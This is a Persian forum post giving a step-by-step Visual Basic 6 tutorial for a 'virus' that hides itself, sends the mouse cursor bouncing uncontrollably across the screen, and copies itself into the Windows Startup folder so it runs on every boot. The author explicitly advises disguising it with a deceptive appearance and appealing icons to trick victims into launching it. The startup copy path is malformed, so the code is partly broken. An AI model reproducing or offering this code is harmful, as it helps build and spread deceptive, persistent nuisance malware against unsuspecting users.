تالار گفتگوی جوانان ایرانی

آموزش يک ويروس اعصاب خرد کن و بسيار ساده.براي ساختش نياز به Microsoft Visual Basic 6 دارين .

خوب اين ويروسي که ميسازيم ويروسي هستش که باعث چرخش ديوانه وار موسي مي شود بهطوري که موس به زور ديده میشه ! :Copy of Hotbar204:
يک کپي از خودشم توي استارت اپ ميزاره خوب اول اين توابع API و اضافاتش رو
توي قسمت General فرم اضافه کنيد.

Option Explicit
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Dim xx As Integer
Dim yy As Integer
Dim a As Integer
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Dim sh As Integer
Dim sw As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim s As String
Dim s1 As String
Dim l As Integer
خوب بعد از اين يک ابزار تايمر اضافه کنيد با Interval مساوي با 1 و در اون اين کدها رو کپي کنيد
Dim pp As POINTAPI
GetCursorPos pp
sh = (Screen.Height / 15) - 1
sw = (Screen.Width / 15) - 1
If pp.x <= 0 Then xx = -xx
If pp.x >= sw Then xx = -xx
If pp.y <= 0 Then yy = -yy
If pp.y >= sh Then yy = -yy
DoEvents
pp.x = pp.x + xx
pp.y = pp.y + yy
SetCursorPos pp.x, pp.y
خوب حالا در From Load اين کدها رو وارد کنيد
Timer1.Enabled = True
xx = Rnd * 100 + 1
yy = Rnd * 80 + 1
Me.Hide
App.TaskVisible = False
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Documents and Settings\H:\Documents and Settings\All Users\Start Menu\Programs\Startup" + "\" + App.EXEName + ".exe" 'Copy Function

خوب تموم شد.خسته نباشيد. سعي کنيد هر چقدر که مي تونيد ظاهرش رو فريبنده کنيد از آیکون های خوب هم استفاده کنید .
موفق باشيد.

salaam mamnon chashm